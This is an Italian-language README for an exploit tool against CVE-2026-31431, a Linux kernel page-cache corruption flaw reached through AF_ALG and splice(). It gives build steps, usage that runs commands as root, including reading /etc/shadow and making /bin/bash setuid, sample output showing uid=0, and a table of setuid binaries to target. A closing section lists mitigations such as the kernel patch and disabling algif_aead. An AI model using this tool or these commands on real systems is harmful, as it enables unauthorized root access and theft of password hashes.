
# Exploit per CVE-2026-31431, una vulnerabilità di corruzione della cache delle pagine del kernel Linux, che fornisce shell root interattiva ed esecuzione di comandi non interattiva tramite catene AF_ALG e splice().
Strumento di sfruttamento della vulnerabilità di contaminazione della page cache del kernel Linux, con supporto per l'esecuzione di comandi non interattivi.
CVE-2026-31431 è una vulnerabilità di difetto logico nel kernel Linux, presente nell'implementazione dell'algoritmo AEAD authencesn. Attraverso la catena di syscall AF_ALG e splice(), un attaccante può scrivere 4 byte di dati nella page cache di qualsiasi file leggibile.
Ambito di impatto:
Caratteristiche della vulnerabilità:
.
├── copyfail_universal.c # Codice sorgente POC principale (compilazione statica, nessuna dipendenza da libc)
├── copyfail_universal # Binario compilato
├── run_cmd.sh # Script wrapper per esecuzione non interattiva
├── Makefile # Script di compilazione
└── README.md # Questo documento
# Metodo 1: utilizzando gcc e ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# Metodo 2: utilizzando Makefile
make
./copyfail_universal
# Metodo 1: utilizzando lo script wrapper (consigliato)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# Metodo 2: tramite pipe
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# Metodo 3: utilizzando variabili d'ambiente
CMD='whoami' ./copyfail_universal
# Il target predefinito è /usr/bin/su
# È possibile specificare altri target modificando la variabile path nel codice sorgente
# Target comuni disponibili:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
La vulnerabilità modifica solo la page cache, non i file su disco. Eseguire il seguente comando per ripristinare:
sync; echo 3 > /proc/sys/vm/drop_caches
Lo script run_cmd.sh include già la funzionalità di ripristino automatico.
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
Per trovare tutti i programmi setuid sul sistema:
find / -perm -4000 -user root -type f 2>/dev/null
Aggiornare il kernel - Aggiornare a una versione del kernel che includa la patch a664bf3d603d
Mitigazione temporanea - Disabilitare il modulo algif_aead:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
Ambienti container - Utilizzare seccomp per bloccare la creazione di socket AF_ALG
authencesn utilizza il buffer di destinazione come storage temporaneo, scrivendo 4 byte oltre i limitisplice() le pagine della page cache vengono passate al sottosistema cryptoQuesto strumento è destinato esclusivamente alla ricerca sulla sicurezza e a test autorizzati. L'utilizzo di questo strumento per attaccare sistemi non autorizzati è illegale. L'utente si assume ogni responsabilità legale.
| Programma | Percorso | Disponibilità |
|---|
| su | /usr/bin/su | ✅ Predefinito |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |